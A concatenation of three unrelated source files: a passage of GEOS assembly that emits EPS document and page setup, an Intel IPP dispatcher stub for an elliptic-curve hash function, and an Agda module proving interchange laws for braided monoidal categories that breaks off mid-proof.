mov cx, length endProlog + length beginSetup call SendToStream ; write out prolog jc done ; write out #copies... EmitPS emitNC ; write out "/#copies " mov si, bx ; save stream block mov bx, es:[GEO_copies] ; get #copies push es, ds segmov es, ss, di lea di, scratchBuffer ; es:di -> buffer call UWordToAscii ; create string clr al mov cx, di ; cx = current pos lea dx, scratchBuffer ; compute length sub cx, dx ; cx = length segmov ds, ss, di ; ds -> stack mov bx, si ; restore stream block call SendToStream ; write out the coords pop es, ds jc done EmitPS emitDef jc done ; Write out paper size setting, if needed. We only check ; the paper height since not everything seems to use the ; right width for A4. Note that GEO_docH is the document ; height, not the paper height of the print job, so this'll ; only work in cases where the app sets the document size ; to A4 (i.e. GeoWrite, Responder NoteEdit, etc.) ; -- brianc 4/1/96 test es:[PSEO_flags], mask PSEF_EPS_FILE jnz notA4 ; not for print file cmpdw es:[GEO_docH], 842 ; A4 height? jne notA4 EmitPS emitA4 jc done notA4: ; write our EndSetup section EmitPS endSetup done: .leave ret EmitDocSetup endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EmitPageSetup %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Write page setup section CALLED BY: INTERNAL TransExportBeginPage PASS: ds - points to locked PSCode resource es - points to locked options block bx - handle of EPSExportLowStreamStruct RETURN: carry - set if some error from StreamWrite (ax holds error code) DESTROYED: nothing PSEUDO CODE/STRATEGY: write out #copies... KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 03/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EmitPageSetup proc near uses bx, cx, dx scratchBuffer local 20 dup(char) .enter ; first write out %%Page comment EmitPS pageNumber jc done ; handle errors ; next convert the current page number... mov si, bx ; save stream block handle mov bx, es:[PSEB_curPage] ; get #copies push es, ds segmov es, ss, di lea di, scratchBuffer ; es:di -> buffer call UWordToAscii ; create string mov {byte} es:[di], ' ' inc di call UWordToAscii ; just do it again, even though mov al, C_CR ; it's the same value mov ah, C_LF stosw clr al mov cx, di ; cx = current pos lea dx, scratchBuffer ; compute length sub cx, dx ; cx = length segmov ds, ss, di ; ds -> stack mov bx, si ; restore stream block handle call SendToStream ; write out the coords pop es, ds jc done ; next emit the %%PageSetup section. EmitPS beginPageSetup jc done EmitPS emitSave ; exec a save jc done EmitPS emitStartDict ; begin the GeoWorks dictionary jc done EmitPS emitBP ; start the page jc done done: .leave ret EmitPageSetup endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EmitEndPageSetup %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Finish the PageSetup section of the EPS file CALLED BY: INTERNAL TransExport PASS: ds - points to locked PSCode resource es - points to locked options block bx - handle of EPSExportLowStreamStruct RETURN: carry - set if some error from StreamWrite (ax = error code) DESTROYED: nothing PSEUDO CODE/STRATEGY: write out the code to effect the setting of the default transformation matrix, and the EndPageSetup comments KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 03/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EmitEndPageSetup proc far uses cx, dx .enter ; compute the default transformation EmitPS emitSDT ; set the default... jc done EmitPS endPageSetup done: .leave ret EmitEndPageSetup endp ExportCode ends
_build/dispatcher/jmp_ippsGFpECSetPointHash_8fdec9fa.asm
zyktrcn/ippcp
1
97496
extern m7_ippsGFpECSetPointHash:function extern n8_ippsGFpECSetPointHash:function extern y8_ippsGFpECSetPointHash:function extern e9_ippsGFpECSetPointHash:function extern l9_ippsGFpECSetPointHash:function extern n0_ippsGFpECSetPointHash:function extern k0_ippsGFpECSetPointHash:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsGFpECSetPointHash .Larraddr_ippsGFpECSetPointHash: dq m7_ippsGFpECSetPointHash dq n8_ippsGFpECSetPointHash dq y8_ippsGFpECSetPointHash dq e9_ippsGFpECSetPointHash dq l9_ippsGFpECSetPointHash dq n0_ippsGFpECSetPointHash dq k0_ippsGFpECSetPointHash segment .text global ippsGFpECSetPointHash:function (ippsGFpECSetPointHash.LEndippsGFpECSetPointHash - ippsGFpECSetPointHash) .Lin_ippsGFpECSetPointHash: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsGFpECSetPointHash: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsGFpECSetPointHash] mov r11, qword [r11+rax*8] jmp r11 .LEndippsGFpECSetPointHash:
src/Categories/Category/Monoidal/Interchange/Braided.agda
Trebor-Huang/agda-categories
279
16099
{-# OPTIONS --without-K --safe #-} open import Categories.Category using (Category; module Commutation) open import Categories.Category.Monoidal.Core using (Monoidal) open import Categories.Category.Monoidal.Braided using (Braided) -- Braided monoidal categories satisfy the "four middle interchange" module Categories.Category.Monoidal.Interchange.Braided {o ℓ e} {C : Category o ℓ e} {M : Monoidal C} (B : Braided M) where open import Level using (_⊔_) open import Data.Product using (_,_) import Categories.Category.Construction.Core C as Core import Categories.Category.Monoidal.Construction.Product as MonoidalProduct open import Categories.Category.Monoidal.Braided.Properties as BraidedProps using (braiding-coherence; inv-Braided; inv-braiding-coherence) open import Categories.Category.Monoidal.Interchange using (HasInterchange) open import Categories.Category.Monoidal.Properties using (module Kelly's) import Categories.Category.Monoidal.Reasoning as MonoidalReasoning import Categories.Category.Monoidal.Utilities as MonoidalUtilities open import Categories.Category.Product using (_⁂_; assocˡ) open import Categories.Functor using (_∘F_) open import Categories.NaturalTransformation.NaturalIsomorphism using (_≃_; niHelper) open import Categories.Morphism.Reasoning C open Category C open Commutation C private variable W W₁ W₂ X X₁ X₂ Y Y₁ Y₂ Z Z₁ Z₂ : Obj f g h i : X ⇒ Y -- Braided monoidal categories have an interchange map. open MonoidalReasoning M open MonoidalUtilities M open Braided B renaming (associator to α) open Core.Shorthands -- for idᵢ, _∘ᵢ_, ... open Shorthands -- for λ⇒, ρ⇒, α⇒, ... open BraidedProps.Shorthands B -- for σ⇒, ... -- The "four middle interchange" for braided tensor products. swapInner : (W ⊗₀ X) ⊗₀ (Y ⊗₀ Z) ≅ (W ⊗₀ Y) ⊗₀ (X ⊗₀ Z) swapInner = α ⁻¹ ∘ᵢ idᵢ ⊗ᵢ (α ∘ᵢ σ ⊗ᵢ idᵢ ∘ᵢ α ⁻¹) ∘ᵢ α module swapInner {W X Y Z} = _≅_ (swapInner {W} {X} {Y} {Z}) private i⇒ = swapInner.from i⇐ = swapInner.to -- to shorten things, it is convenient to name some items that recur -- swapˡ is the inner part of 'swapInner' private swapˡ : X ⊗₀ (Y ⊗₀ Z) ⇒ Y ⊗₀ (X ⊗₀ Z) swapˡ = α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐ swapˡ-act : swapˡ ∘ g ⊗₁ (h ⊗₁ i) ≈ h ⊗₁ (g ⊗₁ i) ∘ swapˡ swapˡ-act {g = g} {h = h} {i = i} = begin (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ∘ g ⊗₁ (h ⊗₁ i) ≈⟨ pullʳ (pullʳ assoc-commute-to) ⟩ α⇒ ∘ σ⇒ ⊗₁ id ∘ (g ⊗₁ h) ⊗₁ i ∘ α⇐ ≈⟨ refl⟩∘⟨ extendʳ (parallel (braiding.⇒.commute _) id-comm-sym) ⟩ α⇒ ∘ (h ⊗₁ g) ⊗₁ i ∘ σ⇒ ⊗₁ id ∘ α⇐ ≈⟨ extendʳ assoc-commute-from ⟩ h ⊗₁ (g ⊗₁ i) ∘ α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐ ∎ swapInner-natural : i⇒ ∘ (f ⊗₁ g) ⊗₁ (h ⊗₁ i) ≈ (f ⊗₁ h) ⊗₁ (g ⊗₁ i) ∘ i⇒ swapInner-natural {f = f} {g = g} {h = h} {i = i} = begin (α⇐ ∘ id ⊗₁ swapˡ ∘ α⇒) ∘ (f ⊗₁ g) ⊗₁ (h ⊗₁ i) ≈⟨ pullʳ (pullʳ assoc-commute-from) ⟩ α⇐ ∘ id ⊗₁ swapˡ ∘ f ⊗₁ g ⊗₁ (h ⊗₁ i) ∘ α⇒ ≈⟨ refl⟩∘⟨ extendʳ (parallel id-comm-sym swapˡ-act) ⟩ α⇐ ∘ f ⊗₁ h ⊗₁ (g ⊗₁ i) ∘ id ⊗₁ swapˡ ∘ α⇒ ≈⟨ extendʳ assoc-commute-to ⟩ (f ⊗₁ h) ⊗₁ (g ⊗₁ i) ∘ α⇐ ∘ id ⊗₁ swapˡ ∘ α⇒ ∎ swapInner-naturalIsomorphism : ⊗ ∘F (⊗ ⁂ ⊗) ≃ ⊗ ∘F MonoidalProduct.⊗ M M swapInner-naturalIsomorphism = niHelper (record { η = λ _ → i⇒ ; η⁻¹ = λ _ → i⇐ ; commute = λ _ → swapInner-natural ; iso = λ _ → swapInner.iso }) -- Another version of the interchange that associates differently. -- -- Why are there two versions and what's the difference? The domain -- (X₁ ⊗ X₂) ⊗₀ (Y₁ ⊗ Y₂) and codomain (X₁ ⊗ Y₁) ⊗₀ (X₁ ⊗ Y₂) of the -- interchange map are perfectly symmetric/balanced. But in order to -- apply the braiding to the middle X₂ and Y₁, we need to -- re-associate and that breaks the symmetry. We must first -- re-associate the whole expression in one direction and then the -- larger subterm in the other. This can be done in two ways, -- associate to the right first, then to the left, resulting in X₁ ⊗ -- ((Y₂ ⊗₀ X₁) ⊗ Y₂), or vice versa, resulting in (X₁ ⊗ (Y₂ ⊗₀ X₁)) -- ⊗ Y₂. The choice is arbitrary and results in two distinct -- interchange maps that behave the same way (as witnessed by -- swapInner-coherent below). -- -- Why define both? Because the proofs of some coherence laws become -- easier when the core of the expression is associated in one -- direction vs. the other. For example swapInner-unitˡ is easier to -- prove for the second definition, while swapInner-unitʳ is easier -- to prove for the first; swapInner-assoc uses both. swapInner′ : (W ⊗₀ X) ⊗₀ (Y ⊗₀ Z) ≅ (W ⊗₀ Y) ⊗₀ (X ⊗₀ Z) swapInner′ = α ∘ᵢ (α ⁻¹ ∘ᵢ idᵢ ⊗ᵢ σ ∘ᵢ α) ⊗ᵢ idᵢ ∘ᵢ α ⁻¹ module swapInner′ {W X Y Z} = _≅_ (swapInner′ {W} {X} {Y} {Z}) private j⇒ = swapInner′.from j⇐ = swapInner′.to swapʳ : (X ⊗₀ Y) ⊗₀ Z ⇒ (X ⊗₀ Z) ⊗₀ Y swapʳ = α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒ -- Derived coherence laws. swapInner-coherent : [ (X₁ ⊗₀ X₂) ⊗₀ (Y₁ ⊗₀ Y₂) ⇒ (X₁ ⊗₀ Y₁) ⊗₀ (X₂ ⊗₀ Y₂) ]⟨ i⇒ ≈ j⇒ ⟩ swapInner-coherent = begin α⇐ ∘ id ⊗₁ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ∘ α⇒ ≈⟨ refl⟩∘⟨ pushˡ split₂ˡ ⟩ α⇐ ∘ id ⊗₁ α⇒ ∘ id ⊗₁ (σ⇒ ⊗₁ id ∘ α⇐) ∘ α⇒ ≈⟨ refl⟩∘⟨ refl⟩∘⟨ pushˡ split₂ˡ ⟩ α⇐ ∘ id ⊗₁ α⇒ ∘ id ⊗₁ (σ⇒ ⊗₁ id) ∘ id ⊗₁ α⇐ ∘ α⇒ ≈⟨ refl⟩∘⟨ refl⟩∘⟨ refl⟩∘⟨ conjugate-from α (idᵢ ⊗ᵢ α) (⟺ pentagon) ⟩ α⇐ ∘ id ⊗₁ α⇒ ∘ id ⊗₁ (σ⇒ ⊗₁ id) ∘ (α⇒ ∘ α⇒ ⊗₁ id) ∘ α⇐ ≈˘⟨ pullʳ (pullʳ (extendʳ (pushˡ assoc-commute-from))) ⟩ (α⇐ ∘ id ⊗₁ α⇒ ∘ α⇒ ∘ (id ⊗₁ σ⇒) ⊗₁ id) ∘ α⇒ ⊗₁ id ∘ α⇐ ≈⟨ pushʳ sym-assoc ⟩∘⟨refl ⟩ ((α⇐ ∘ id ⊗₁ α⇒ ∘ α⇒) ∘ (id ⊗₁ σ⇒) ⊗₁ id) ∘ α⇒ ⊗₁ id ∘ α⇐ ≈⟨ pushˡ (conjugate-from (α ⊗ᵢ idᵢ) α (assoc ○ pentagon)) ⟩∘⟨refl ⟩ (α⇒ ∘ α⇐ ⊗₁ id ∘ (id ⊗₁ σ⇒) ⊗₁ id) ∘ α⇒ ⊗₁ id ∘ α⇐ ≈˘⟨ pushʳ (pushʳ (pushˡ split₁ˡ)) ⟩ α⇒ ∘ α⇐ ⊗₁ id ∘ (id ⊗₁ σ⇒ ∘ α⇒) ⊗₁ id ∘ α⇐ ≈˘⟨ refl⟩∘⟨ pushˡ split₁ˡ ⟩ α⇒ ∘ (α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒) ⊗₁ id ∘ α⇐ ∎ private α-mid : ∀ {X} {Y} {Z} {W} → X ⊗₀ ((Y ⊗₀ Z) ⊗₀ W) ⇒ (X ⊗₀ Y) ⊗₀ (Z ⊗₀ W) α-mid = α⇒ ∘ α⇐ ⊗₁ id ∘ α⇐ private serialize-assoc : α⇒ {X₁} {Y₁} {Z₁} ⊗₁ α⇒ {X₂} {Y₂} {Z₂} ≈ id ⊗₁ α⇒ ∘ α⇐ ∘ id ⊗₁ (α⇒ ∘ α⇐ ⊗₁ id ∘ α⇐) ∘ α⇒ ∘ id ⊗₁ α⇐ ∘ α⇒ serialize-assoc = begin α⇒ ⊗₁ α⇒ ≈⟨ serialize₂₁ ⟩ id ⊗₁ α⇒ ∘ α⇒ ⊗₁ id ≈⟨ refl⟩∘⟨ (begin α⇒ ⊗₁ id ≈⟨ switch-fromtoˡ α (switch-fromtoˡ (idᵢ ⊗ᵢ α) pentagon) ⟩ α⇐ ∘ id ⊗₁ α⇐ ∘ α⇒ ∘ α⇒ ≈˘⟨ refl⟩∘⟨ refl⟩⊗⟨ cancelˡ α.isoʳ ⟩∘⟨refl ⟩ α⇐ ∘ id ⊗₁ (α⇒ ∘ α⇐ ∘ α⇐) ∘ α⇒ ∘ α⇒ ≈˘⟨ refl⟩∘⟨ refl⟩⊗⟨ pullʳ pentagon-inv ⟩∘⟨refl ⟩ α⇐ ∘ id ⊗₁ (α-mid ∘ id ⊗₁ α⇐) ∘ α⇒ ∘ α⇒ ≈⟨ refl⟩∘⟨ pushˡ split₂ˡ ⟩ α⇐ ∘ id ⊗₁ α-mid ∘ id ⊗₁ (id ⊗₁ α⇐) ∘ α⇒ ∘ α⇒ ≈˘⟨ refl⟩∘⟨ refl⟩∘⟨ extendʳ assoc-commute-from ⟩ α⇐ ∘ id ⊗₁ α-mid ∘ α⇒ ∘ (id ⊗₁ id) ⊗₁ α⇐ ∘ α⇒ ≈⟨ refl⟩∘⟨ refl⟩∘⟨ refl⟩∘⟨ ⊗.identity ⟩⊗⟨refl ⟩∘⟨refl ⟩ α⇐ ∘ id ⊗₁ α-mid ∘ α⇒ ∘ id ⊗₁ α⇐ ∘ α⇒ ∎) ⟩ id ⊗₁ α⇒ ∘ α⇐ ∘ id ⊗₁ α-mid ∘ α⇒ ∘ id ⊗₁ α⇐ ∘ α⇒ ∎ swapInner-assoc : [ ((X₁ ⊗₀ X₂) ⊗₀ (Y₁ ⊗₀ Y₂)) ⊗₀ (Z₁ ⊗₀ Z₂) ⇒ (X₁ ⊗₀ (Y₁ ⊗₀ Z₁)) ⊗₀ (X₂ ⊗₀ (Y₂ ⊗₀ Z₂)) ]⟨ i⇒ ⊗₁ id ⇒⟨ ((X₁ ⊗₀ Y₁) ⊗₀ (X₂ ⊗₀ Y₂)) ⊗₀ (Z₁ ⊗₀ Z₂) ⟩ i⇒ ⇒⟨ ((X₁ ⊗₀ Y₁) ⊗₀ Z₁) ⊗₀ ((X₂ ⊗₀ Y₂) ⊗₀ Z₂) ⟩ α⇒ ⊗₁ α⇒ ≈ α⇒ ⇒⟨ (X₁ ⊗₀ X₂) ⊗₀ ((Y₁ ⊗₀ Y₂) ⊗₀ (Z₁ ⊗₀ Z₂)) ⟩ id ⊗₁ i⇒ ⇒⟨ (X₁ ⊗₀ X₂) ⊗₀ ((Y₁ ⊗₀ Z₁) ⊗₀ (Y₂ ⊗₀ Z₂)) ⟩ i⇒ ⟩ swapInner-assoc = begin α⇒ ⊗₁ α⇒ ∘ i⇒ ∘ i⇒ ⊗₁ id ≈⟨ serialize-assoc ⟩∘⟨refl ⟩ (id ⊗₁ α⇒ ∘ α⇐ ∘ id ⊗₁ α-mid ∘ α⇒ ∘ id ⊗₁ α⇐ ∘ α⇒) ∘ i⇒ ∘ i⇒ ⊗₁ id ≈˘⟨ pullˡ (pushˡ (⊗.identity ⟩⊗⟨refl ⟩∘⟨refl)) ⟩ ((id ⊗₁ id) ⊗₁ α⇒ ∘ α⇐) ∘ (id ⊗₁ α-mid ∘ α⇒ ∘ id ⊗₁ α⇐ ∘ α⇒) ∘ i⇒ ∘ i⇒ ⊗₁ id ≈⟨ ⟺ assoc-commute-to ⟩∘⟨ pullʳ (pullʳ (pushʳ (pushˡ (pushʳ (pushˡ split₂ˡ))))) ⟩ (α⇐ ∘ id ⊗₁ (id ⊗₁ α⇒)) ∘ id ⊗₁ α-mid ∘ α⇒ ∘ ((id ⊗₁ α⇐ ∘ α⇒) ∘ α⇐ ∘ id ⊗₁ α⇒) ∘ (id ⊗₁ (σ⇒ ⊗₁ id ∘ α⇐) ∘ α⇒) ∘ i⇒ ⊗₁ id ≈⟨ pullʳ (refl⟩∘⟨ refl⟩∘⟨ refl⟩∘⟨ elimˡ (_≅_.isoˡ (α ⁻¹ ∘ᵢ idᵢ ⊗ᵢ α))) ⟩ α⇐ ∘ id ⊗₁ (id ⊗₁ α⇒) ∘ id ⊗₁ α-mid ∘ α⇒ ∘ (id ⊗₁ (σ⇒ ⊗₁ id ∘ α⇐) ∘ α⇒) ∘ i⇒ ⊗₁ id ≈⟨ refl⟩∘⟨ merge₂ sym-assoc ⟩∘⟨ pushʳ ((⟺ ⊗.identity ⟩⊗⟨refl) ⟩∘⟨refl ⟩∘⟨ split₁ˡ) ⟩ α⇐ ∘ id ⊗₁ ((id ⊗₁ α⇒ ∘ α⇒) ∘ α⇐ ⊗₁ id ∘ α⇐) ∘ (α⇒ ∘ (id ⊗₁ id) ⊗₁ (σ⇒ ⊗₁ id ∘ α⇐) ∘ α⇒) ∘ α⇐ ⊗₁ id ∘ (id ⊗₁ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ∘ α⇒) ⊗₁ id ≈⟨ refl⟩∘⟨ refl⟩⊗⟨ extendʳ (pushˡ (switch-fromtoʳ (α ⊗ᵢ idᵢ) (assoc ○ pentagon))) ⟩∘⟨ extendʳ assoc-commute-from ⟩∘⟨refl ⟩ α⇐ ∘ id ⊗₁ ((α⇒ ∘ α⇒) ∘ (α⇐ ⊗₁ id ∘ α⇐ ⊗₁ id) ∘ α⇐) ∘ (id ⊗₁ (id ⊗₁ (σ⇒ ⊗₁ id ∘ α⇐)) ∘ (α⇒ ∘ α⇒)) ∘ α⇐ ⊗₁ id ∘ (id ⊗₁ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ∘ α⇒) ⊗₁ id ≈˘⟨ refl⟩∘⟨ refl⟩⊗⟨ pushʳ (refl⟩∘⟨ split₁ˡ ⟩∘⟨refl) ⟩∘⟨ pushʳ (extendʳ (switch-fromtoʳ (α ⊗ᵢ idᵢ) (assoc ○ pentagon))) ⟩ α⇐ ∘ id ⊗₁ (α⇒ ∘ α⇒ ∘ (α⇐ ∘ α⇐) ⊗₁ id ∘ α⇐) ∘ id ⊗₁ (id ⊗₁ (σ⇒ ⊗₁ id ∘ α⇐)) ∘ id ⊗₁ α⇒ ∘ α⇒ ∘ (id ⊗₁ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ∘ α⇒) ⊗₁ id ≈⟨ refl⟩∘⟨ refl⟩∘⟨ refl⟩∘⟨ refl⟩∘⟨ refl⟩∘⟨ split₁ˡ ⟩ α⇐ ∘ id ⊗₁ (α⇒ ∘ α⇒ ∘ (α⇐ ∘ α⇐) ⊗₁ id ∘ α⇐) ∘ id ⊗₁ (id ⊗₁ (σ⇒ ⊗₁ id ∘ α⇐)) ∘ id ⊗₁ α⇒ ∘ α⇒ ∘ (id ⊗₁ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐)) ⊗₁ id ∘ α⇒ ⊗₁ id ≈⟨ refl⟩∘⟨ merge₂ assoc²' ○ (refl⟩∘⟨ refl⟩∘⟨ assoc) ⟩∘⟨ refl⟩∘⟨ extendʳ assoc-commute-from ⟩ α⇐ ∘ id ⊗₁ (α⇒ ∘ α⇒ ∘ (α⇐ ∘ α⇐) ⊗₁ id ∘ α⇐ ∘ id ⊗₁ (σ⇒ ⊗₁ id ∘ α⇐)) ∘ id ⊗₁ α⇒ ∘ id ⊗₁ ((α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ id) ∘ α⇒ ∘ α⇒ ⊗₁ id ≈⟨ refl⟩∘⟨ merge₂ (assoc²' ○ (refl⟩∘⟨ refl⟩∘⟨ assoc²')) ⟩∘⟨ refl⟩∘⟨ switch-fromtoˡ (idᵢ ⊗ᵢ α) pentagon ⟩ α⇐ ∘ id ⊗₁ (α⇒ ∘ α⇒ ∘ (α⇐ ∘ α⇐) ⊗₁ id ∘ α⇐ ∘ id ⊗₁ (σ⇒ ⊗₁ id ∘ α⇐) ∘ α⇒) ∘ id ⊗₁ ((α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ id) ∘ id ⊗₁ α⇐ ∘ α⇒ ∘ α⇒ ≈˘⟨ refl⟩∘⟨ refl⟩∘⟨ pushˡ split₂ˡ ⟩ α⇐ ∘ id ⊗₁ (α⇒ ∘ α⇒ ∘ (α⇐ ∘ α⇐) ⊗₁ id ∘ α⇐ ∘ id ⊗₁ (σ⇒ ⊗₁ id ∘ α⇐) ∘ α⇒) ∘ id ⊗₁ ((α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ id ∘ α⇐) ∘ α⇒ ∘ α⇒ ≈⟨ refl⟩∘⟨ merge₂ assoc²' ○ (refl⟩∘⟨ refl⟩∘⟨ (assoc²' ○ (refl⟩∘⟨ refl⟩∘⟨ assoc))) ⟩∘⟨ Equiv.refl ⟩ α⇐ ∘ id ⊗₁ (α⇒ ∘ α⇒ ∘ (α⇐ ∘ α⇐) ⊗₁ id ∘ α⇐ ∘ id ⊗₁ (σ⇒ ⊗₁ id ∘ α⇐) ∘ α⇒ ∘ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ id ∘ α⇐) ∘ α⇒ ∘ α⇒ ≈⟨ refl⟩∘⟨ refl⟩⊗⟨ pushʳ (begin α⇒ ∘ (α⇐ ∘ α⇐) ⊗₁ id ∘ α⇐ ∘ id ⊗₁ (σ⇒ ⊗₁ id ∘ α⇐) ∘ α⇒ ∘ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ id ∘ α⇐ ≈⟨ refl⟩∘⟨ refl⟩∘⟨ refl⟩∘⟨ extendʳ (pushˡ split₂ˡ) ⟩ α⇒ ∘ (α⇐ ∘ α⇐) ⊗₁ id ∘ α⇐ ∘ id ⊗₁ (σ⇒ ⊗₁ id) ∘ (id ⊗₁ α⇐ ∘ α⇒) ∘ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ id ∘ α⇐ ≈⟨ refl⟩∘⟨ refl⟩∘⟨ (extendʳ assoc-commute-to ○ (refl⟩∘⟨ sym-assoc)) ⟩ α⇒ ∘ (α⇐ ∘ α⇐) ⊗₁ id ∘ (id ⊗₁ σ⇒) ⊗₁ id ∘ (α⇐ ∘ (id ⊗₁ α⇐ ∘ α⇒)) ∘ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ id ∘ α⇐ ≈⟨ refl⟩∘⟨ refl⟩∘⟨ refl⟩∘⟨ (sym-assoc ○ (conjugate-to α (α ⊗ᵢ idᵢ) (sym-assoc ○ pentagon-inv))) ⟩∘⟨refl ⟩ α⇒ ∘ (α⇐ ∘ α⇐) ⊗₁ id ∘ (id ⊗₁ σ⇒) ⊗₁ id ∘ (α⇒ ⊗₁ id ∘ α⇐) ∘ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ id ∘ α⇐ ≈˘⟨ refl⟩∘⟨ split₁ Equiv.refl ⟩∘⟨ pushʳ (refl⟩∘⟨ refl⟩⊗⟨ ⊗.identity ⟩∘⟨refl) ⟩ α⇒ ∘ ((α⇐ ∘ α⇐) ∘ id ⊗₁ σ⇒) ⊗₁ id ∘ α⇒ ⊗₁ id ∘ α⇐ ∘ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ (id ⊗₁ id) ∘ α⇐ ≈⟨ refl⟩∘⟨ merge₁ assoc² ⟩∘⟨ extendʳ assoc-commute-to ⟩ α⇒ ∘ (α⇐ ∘ α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒) ⊗₁ id ∘ ((α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ id) ⊗₁ id ∘ α⇐ ∘ α⇐ ≈˘⟨ refl⟩∘⟨ pushˡ split₁ˡ ⟩ α⇒ ∘ ((α⇐ ∘ α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒) ∘ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ id) ⊗₁ id ∘ α⇐ ∘ α⇐ ≈˘⟨ refl⟩∘⟨ refl⟩∘⟨ (sym-assoc ○ pentagon-inv) ⟩ α⇒ ∘ ((α⇐ ∘ α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒) ∘ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ id) ⊗₁ id ∘ α⇐ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ α⇐ ≈⟨ refl⟩∘⟨ pullˡ (⟺ split₁ˡ ○ (assoc ⟩⊗⟨refl)) ⟩ α⇒ ∘ ((α⇐ ∘ α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒) ∘ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ id ∘ α⇐) ⊗₁ id ∘ α⇐ ∘ id ⊗₁ α⇐ ≈⟨ refl⟩∘⟨ (begin (α⇐ ∘ α⇐ ∘ id ⊗₁ σ⇒ ∘ α⇒) ∘ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ id ∘ α⇐ ≈⟨ pushˡ (pushʳ sym-assoc) ⟩ (α⇐ ∘ α⇐ ∘ id ⊗₁ σ⇒) ∘ α⇒ ∘ (α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ id ∘ α⇐ ≈⟨ (refl⟩∘⟨ extendʳ (pushʳ split₁ˡ)) ⟩ (α⇐ ∘ α⇐ ∘ id ⊗₁ σ⇒) ∘ (α⇒ ∘ α⇒ ⊗₁ id) ∘ (σ⇒ ⊗₁ id ∘ α⇐) ⊗₁ id ∘ α⇐ ≈⟨ pushʳ (switch-fromtoˡ (idᵢ ⊗ᵢ α) pentagon ⟩∘⟨ pushˡ split₁ˡ) ⟩ ((α⇐ ∘ α⇐ ∘ id ⊗₁ σ⇒) ∘ (id ⊗₁ α⇐ ∘ α⇒ ∘ α⇒)) ∘ (σ⇒ ⊗₁ id) ⊗₁ id ∘ α⇐ ⊗₁ id ∘ α⇐ ≈⟨ pushˡ (sym-assoc ○ (pullˡ (pullʳ assoc ⟩∘⟨refl))) ⟩ ((α⇐ ∘ α⇐ ∘ id ⊗₁ σ⇒ ∘ id ⊗₁ α⇐) ∘ α⇒) ∘ α⇒ ∘ (σ⇒ ⊗₁ id) ⊗₁ id ∘ α⇐ ⊗₁ id ∘ α⇐ ≈⟨ pullʳ (refl⟩∘⟨ extendʳ assoc-commute-from) ⟩ (α⇐ ∘ α⇐ ∘ id ⊗₁ σ⇒ ∘ id ⊗₁ α⇐) ∘ α⇒ ∘ σ⇒ ⊗₁ (id ⊗₁ id) ∘ α⇒ ∘ α⇐ ⊗₁ id ∘ α⇐ ≈⟨ (refl⟩∘⟨ refl⟩∘⟨ ⟺ split₂ˡ) ⟩∘⟨ refl⟩∘⟨ (refl⟩⊗⟨ ⊗.identity ⟩∘⟨ conjugate-from (idᵢ ⊗ᵢ (α ⁻¹)) (α ⁻¹) pentagon-inv) ⟩ (α⇐ ∘ α⇐ ∘ id ⊗₁ (σ⇒ ∘ α⇐)) ∘ α⇒ ∘ σ⇒ ⊗₁ id ∘ α⇐ ∘ id ⊗₁ α⇒ ≈˘⟨ extendʳ (sym-assoc ○ pentagon-inv) ⟩∘⟨refl ⟩ (α⇐ ⊗₁ id ∘ (α⇐ ∘ id ⊗₁ α⇐) ∘ id ⊗₁ (σ⇒ ∘ α⇐)) ∘ α⇒ 